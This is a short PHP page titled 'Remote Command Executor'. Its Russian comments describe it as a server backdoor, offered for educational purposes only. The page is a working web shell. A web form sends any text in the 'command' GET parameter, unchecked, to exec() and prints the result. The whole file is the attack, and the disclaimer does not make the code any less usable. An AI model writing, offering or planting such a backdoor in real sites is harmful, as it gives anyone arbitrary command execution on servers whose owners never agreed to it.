<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Command Executor</title>
</head>
<body>
<h1>Remote Command Executor</h1>
<form method="get">
<label for="command">Enter Command:</label>
<input type="text" id="command" name="command" required>
<button type="submit">Execute</button>
</form>
<pre>
<?php
// ВНИМАНИЕ: Этот код представляет собой бэкдор для удалённого выполнения команд на сервере.
// Его использование может нарушать законы и этические нормы. Этот код предоставлен только для образовательных целей.
// НЕ ИСПОЛЬЗУЙТЕ данный код без разрешения владельца сайта.
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
// Получение команды из GET-запроса
$command = $_GET['command'] ?? '';
if (empty($command)) {
echo "Команда не предоставлена";
exit;
}
// Выполнение команды в системе
$output = null;
$return_var = null;
exec($command . " 2>&1", $output, $return_var);
if ($return_var !== 0) {
echo "Ошибка выполнения команды: " . implode("\n", $output);
} else {
echo implode("\n", $output);
}
}
?>
</pre>
</body>
</html>